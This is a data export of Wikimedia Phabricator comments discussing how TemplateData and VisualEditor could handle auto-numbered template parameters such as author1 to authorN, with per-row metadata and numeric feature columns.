2022234,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
1. Non-Lua templates support exactly as many parameters as documented, as @Tacsipacsi explained above. For example, there is `author1` to `author9`, but there it ends. This causes a few problems:
 * It's a little tedious to document this.
 * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](https://en.wikipedia.org/wiki/Template:Singles).
 * The person writing the documentation might decide to stop earlier and document only e.g. `author1` to `author5` exactly to avoid the problem above. `author6` ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: `author6` will be listed at the very end, not after `author5`.
2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. `author1` to `author5`. This creates almost the same problems:
 * The documentation must stop at an arbitrary number. Typically this will not be `author1` but e.g. `author5` or `author9`.
 * This is tedious, as above.
 * VisualEditor and such always show all of the documented parameters.
3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
 * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
 * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.

A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as `author1` to `author5`.

What we can do, in my opinion:
1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
 * We can do this in VisualEditor without touching TemplateData.
 * The only thing users need to do is to make sure all possible numbers are documented.
 * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]"": {}` means only 9 parameters exist and `""author[1-]"": {}` means it's unlimited.
 * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
 * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }` or `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
 * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
5. Somehow make use of the unused `set` feature.
6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
6. …?

I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know.",,,1669035410,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1.0,0.0,0.4444444444444444,0.7777777777777778,1.1111111111111112,7.111111111111111,1.0,0.1111111111111111,0.0,0.1111111111111111,2.3333333333333335,0.6666666666666666,0.0,0.8888888888888888,0.1111111111111111,1.2222222222222223,0.3333333333333333,8.0,9.222222222222221,0.1111111111111111,2.111111111111111,0.1111111111111111,0.0,0.0,0.3333333333333333,0.1111111111111111,0.0,0.4444444444444444,0.8888888888888888,0.4444444444444444,0.1111111111111111,6.333333333333333,1.4444444444444444,1.0,0.6666666666666666,0.2222222222222222,0.1111111111111111,0.0,0.1111111111111111,0.5555555555555556,0.1111111111111111,0.3333333333333333,0.1111111111111111,1.1111111111111112,0.1111111111111111,0.3333333333333333,0.0,0.4444444444444444,0.0,11.777777777777779,1.5555555555555556,0.5555555555555556,0.1111111111111111,0.8888888888888888,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.5555555555555556,1.1111111111111112,0.0,0.3333333333333333,0.3333333333333333,0.4444444444444444,0.0,6.444444444444445,2.111111111111111,9.777777777777779,1.2222222222222223,2.3333333333333335,9.222222222222221,0.0,0.0,0.0,0.6666666666666666,5.111111111111111,0.0,0.8888888888888888,0.0,2.888888888888889,9.222222222222221,4.444444444444445,0.1111111111111111,0.6666666666666666,0.0,2.888888888888889,0.0,1.2222222222222223,2.2222222222222223,0.1111111111111111,0.7777777777777778,0.5555555555555556,0.1111111111111111,1.3333333333333333,4.002399778055209,0.7034124011652101,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
1. Non-Lua templates support exactly as many parameters as documented, asSCREEN_NAME explained above. For example, there is CODE to CODE, but there it ends. This causes a few problems:
 * It's a little tedious to document this.
 * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](URL
 * The person writing the documentation might decide to stop earlier and document only e.g. CODE to CODE exactly to avoid the problem above. CODE ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: CODE will be listed at the very end, not after CODE.
2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. CODE to CODE. This creates almost the same problems:
 * The documentation must stop at an arbitrary number. Typically this will not be CODE but e.g. CODE or CODE.
 * This is tedious, as above.
 * VisualEditor and such always show all of the documented parameters.
3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
 * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
 * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.

A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as CODE to CODE.

What we can do, in my opinion:
1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only CODE. The moment CODE does have a value CODE appears. And so on. But stop when the next number is not documented.
 * We can do this in VisualEditor without touching TemplateData.
 * The only thing users need to do is to make sure all possible numbers are documented.
 * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. CODE to CODE.
2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. CODE, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
3. Come up with some magic syntax for numbered parameters, e.g. CODE means only 9 parameters exist and CODE means it's unlimited.
 * This allows to use other number systems, e.g. Hebrew CODE.
 * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
4. Add a flag that does the same, e.g. CODE or CODE to make it effectively ""unlimited"".
 * This can be made backwards-compatible. Users can still document CODE to CODE if they want. They just need to copy the sequence name to all of them, e.g. CODE. Parameters with the same sequence are considered one by software that understands the feature.
5. Somehow make use of the unused CODE feature.
6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
6. …?

I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know."
2021983,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I think there are still a lot of templates that don’t use Lua and thus support exactly as many parameters as documented. They probably don’t show error messages if unknown parameters are used, either, since that would also require Lua. This means that the extra parameters would simply not appear – which doesn’t cause visual breakage, but it’s also hard for the editors to notice. What does Citoid do now if there are more authors/whatever data than what the template – according to TemplateData – supports?",,,1668975175,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,489,,1.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,10.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,15.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,1.0,0.0,1.0,0.0,4.0,3.0,8.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,4.0,1.0,0.0,0.0,3.0,0.0,5.0,1.0,0.0,1.0,1.0,0.0,0.0,4.2727272727272725,0.7373737373737373,"I think there are still a lot of templates that don’t use Lua and thus support exactly as many parameters as documented. They probably don’t show error messages if unknown parameters are used, either, since that would also require Lua. This means that the extra parameters would simply not appear – which doesn’t cause visual breakage, but it’s also hard for the editors to notice. What does Citoid do now if there are more authors/whatever data than what the template – according to TemplateData – supports?"
2021973,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Change 858708 had a related patch set uploaded (by Mvolz; author: Mvolz):
%%%[mediawiki/extensions/Citoid@master] [WIP] Extrapolate from limited templatedata%%%
https://gerrit.wikimedia.org/r/858708",,,1668963559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,489,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.305555555555555,0.8055555555555556,"Change 858708 had a related patch set uploaded (by Mvolz; author: Mvolz):
%%%[mediawiki/extensions/Citoid@master] [WIP] Extrapolate from limited templatedata%%%
GERRIT_URL"
2021972,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"In lieu of a better plan, I think I'm just going to have the Citoid extension ""guess"" additional parameters from the last one rather naively by incrementing whatever integer is at the end. I.e. if it's last7, the next param will be last8

If the last param doesn't have an integer, we won't do this. So if it's just ""last"" or ""isbn"" no additional parameters will be added. 

Does anyone object to this? It's a bit hacky, but it's the simplest to implement. 

The potential flaw of this would be if there is a parameter out there that ends in a number that we don't want incremented. I don't know if there's an example out there, but if there were, we could potentially add parameters that don't actually exist and you could see errors in the citation (which the user could then, as always, fix.)

I expect this doesn't come up much, but a potential fix to that is to extend TemplateData to add a box to suppress auto params, if we needed it. 

",,,1668963340,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,489,,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,2.3333333333333335,4.0,1.0,0.0,0.0,2.6666666666666665,2.0,2.6666666666666665,0.0,0.0,1.0,3.0,0.3333333333333333,7.666666666666667,9.666666666666666,0.3333333333333333,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,6.666666666666667,2.0,1.6666666666666667,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,8.333333333333334,2.3333333333333335,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,3.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,6.333333333333333,2.6666666666666665,4.666666666666667,2.6666666666666665,2.0,9.333333333333334,0.0,0.0,0.0,0.0,7.0,0.0,0.3333333333333333,0.0,5.333333333333333,9.666666666666666,1.3333333333333333,0.3333333333333333,2.0,0.0,5.333333333333333,0.0,2.0,3.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,3.5576484018264836,0.7234271943176053,"In lieu of a better plan, I think I'm just going to have the Citoid extension ""guess"" additional parameters from the last one rather naively by incrementing whatever integer is at the end. I.e. if it's last7, the next param will be last8

If the last param doesn't have an integer, we won't do this. So if it's just ""last"" or ""isbn"" no additional parameters will be added. 

Does anyone object to this? It's a bit hacky, but it's the simplest to implement. 

The potential flaw of this would be if there is a parameter out there that ends in a number that we don't want incremented. I don't know if there's an example out there, but if there were, we could potentially add parameters that don't actually exist and you could see errors in the citation (which the user could then, as always, fix.)

I expect this doesn't come up much, but a potential fix to that is to extend TemplateData to add a box to suppress auto params, if we needed it. 

"
1793934,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"@Iniquity, the way I'd ideally like to see this work is to just have a box people could check when editing a parameter's documentation in TemplateData indicating that it's an auto-numbered parameter (and specifying the limit, if applicable). The TemplateData would then display it intuitively in the documentation and allow people to use it when adding the template to a page.",,,1633200407,,PHID-USER-tl3o6dlackm57f3qrt4b,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,430,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,3.0,8.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,3.0,4.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,12.0,1.0,7.0,6.0,3.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,4.416666666666667,0.7222222222222222,"SCREEN_NAME, the way I'd ideally like to see this work is to just have a box people could check when editing a parameter's documentation in TemplateData indicating that it's an auto-numbered parameter (and specifying the limit, if applicable). The TemplateData would then display it intuitively in the documentation and allow people to use it when adding the template to a page."
1329261,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,Has anyone got any new ideas? :),,,1564943687,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,317,,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Has anyone got any new ideas? :)
963914,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"For draft template I'm working on for the Wikitionary, I came with things like `|définition.1.4.exemple.2.description =`. That is description of 2nd example of the 4th subdefinition of the first main definition. That might be a somewhat extreme example, but that would be nice to take it into account while treating this ticket.",,,1510643874,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,228,,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,2.0,19.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,12.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,19.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.228070175438597,0.8070175438596491,"For draft template I'm working on for the Wikitionary, I came with things like CODE. That is description of 2nd example of the 4th subdefinition of the first main definition. That might be a somewhat extreme example, but that would be nice to take it into account while treating this ticket."
955156,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"For draft template I'm working on for the Wikitionary, I came things like `|définition.1.4.exemple.2.description =`. That is description of 2nd example of the 4th subdefinition of the first main definition. That might be a somewaht extrem example, but that would be nice to take it into account while treating this ticket.",,,1509227971,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,225,,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,14.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,18.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.214285714285714,0.8035714285714286,"For draft template I'm working on for the Wikitionary, I came things like CODE. That is description of 2nd example of the 4th subdefinition of the first main definition. That might be a somewaht extrem example, but that would be nice to take it into account while treating this ticket."
950889,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I am also thinking of templates with an unlimited number of unnamed parameters, which are not handled well in VE currently.",,,1508444614,,PHID-USER-zrh22rct2jo5hs6nu67r,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,224,,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.478260869565218,0.9565217391304348,"I am also thinking of templates with an unlimited number of unnamed parameters, which are not handled well in VE currently."
866310,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Regarding the UX and UI of this feature, one possibility is that when a user adds content to the Author1 field, the Author2 field becomes visible, and when s/he adds content to Author2, Author3 becomes visible, and so on.",,,1496014248,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,203,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,15.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,9.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,3.893617021276596,0.6595744680851063,"Regarding the UX and UI of this feature, one possibility is that when a user adds content to the Author1 field, the Author2 field becomes visible, and when s/he adds content to Author2, Author3 becomes visible, and so on."
844531,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Regarding the visual implementation of this feature, one possibility is that when a user adds content to the Author1 field, the Author2 field becomes visible, and when s/he adds content to Author2, Author3 becomes visible, and so on.",,,1492548241,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,198,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,7.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,4.260869565217392,0.6739130434782609,"Regarding the visual implementation of this feature, one possibility is that when a user adds content to the Author1 field, the Author2 field becomes visible, and when s/he adds content to Author2, Author3 becomes visible, and so on."
835527,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I think I may increase priority of this task. A lot of new templates, gadgets and scripts have autogenerated parameters.",,,1491072953,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,195,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,0.8695652173913043,"I think I may increase priority of this task. A lot of new templates, gadgets and scripts have autogenerated parameters."
767004,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"This will affect ProveIt when implemented. ProveIt relies on TemplateData to perform its work, much in the same way the VisualEditor does.",,,1480128425,,PHID-USER-ptgz6fq66cg246bpgxzs,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,177,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.68,0.88,"This will affect ProveIt when implemented. ProveIt relies on TemplateData to perform its work, much in the same way the VisualEditor does."
398552,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Would be very useful also for, e.g., https://www.mediawiki.org/wiki/Template:Extension#TemplateData (up to hook48!)",,,1421099235,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,80,,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.875,0.9375,"Would be very useful also for, e.g., URL (up to hook48!)"
242545,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Hmm, I've messed up the JSON in the first example. Should be:

{{cite web
| authors = [{ ""last"": ""Smith"", ""first"": ""John"" }, { ""last"": ""Doe"", ""first"": ""Jane"" }]
}}

Perhaps this proves my point about users not being able to input JSON manually? :)",,,1410102520,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,5.0,6.0,1.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.524390243902439,0.573170731707317,"Hmm, I've messed up the JSON in the first example. Should be:

{{cite web
| authors = [{ ""last"": ""Smith"", ""first"": ""John"" }, { ""last"": ""Doe"", ""first"": ""Jane"" }]
}}

Perhaps this proves my point about users not being able to input JSON manually? :)"
242540,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"(In reply to NicoV from comment #5)
> This solution would be awkward when several parameters are related one to
> each other. For example, on the cite templates, you usually have several
> fields for each author (first name, last name, page link, ...) and they are
> easier to manage for a user if they are grouped.
> With lists, users would have to be careful and to be sure that several lists
> are coherent between each other.

One way to deal with this could be to pass JSON blobs into template parameters. So you could have:

{{cite web
| authors = { ""last"": ""Smith"", ""first"": ""John"" }, { ""last"": ""Doe"", ""first"": ""Jane"" }
}}

This is nice from a Lua perspective, but it would be confusing for users. Mixing template syntax with JSON syntax seems ugly, and probably only a select few editors will be capable of entering syntactically correct JSON into template parameters.

The established way of doing something like this is to use a sub-template. So we would have something like:

{{cite web
| authors = {{author|last=Smith|first=John}}, {{author|last=Doe|first=Jane}}
}}

One problem with this is that the {{author}} templates are expanded before they are passed to Lua, so we lose data granularity. To solve this, we can use Lua to make the {{author}} templates output JSON and then read that JSON from the Lua module implementing {{cite web}}. But then to guarantee that we get clean JSON code we would need to make a template structure like this:

{{cite web
| authors = {{author list | {{author|last=Smith|first=John}} | {{author|last=Doe|first=Jane}} }}
}}

With this we have data grouping that can be reliably processed by Lua and that editors used to using wikitext will find intuitive. However, this would be hard for VisualEditor etc. to process and display to users in a meaningful way, as there is no guarantee how the {{author list}} and {{author}} templates will be implemented on any given wiki. So, instead of using Lua to create the JSON, we could do it in PHP using a new parser function. (I suggest ""#data"".) That would give us the following: 

{{cite web
| authors = {{#data: {{#data:last=Smith|first=John}} | {{#data:last=Doe|first=Jane}} }}
}}

This would give us a data structure that could be reliably parsed from VisualEditor, as well as the other benefits mentioned above. Perhaps it could displayed as a dynamically generated data tree (I'm thinking about something like json2html, but editable).

http://visualizer.json2html.com/

We would need to be careful about bad input:

{{cite web
| authors = foo {{#data: bar {{#data:last=Smith|first=John}} | {{#data:last=Doe|first=Jane}} baz }}
}}

To sanitise this, we could make the #data implementation throw an error (perhaps like a cite.php error) for ""bar"" and ""baz"" in this example. For ""foo"", we could leave it to the Lua module to properly validate the input.

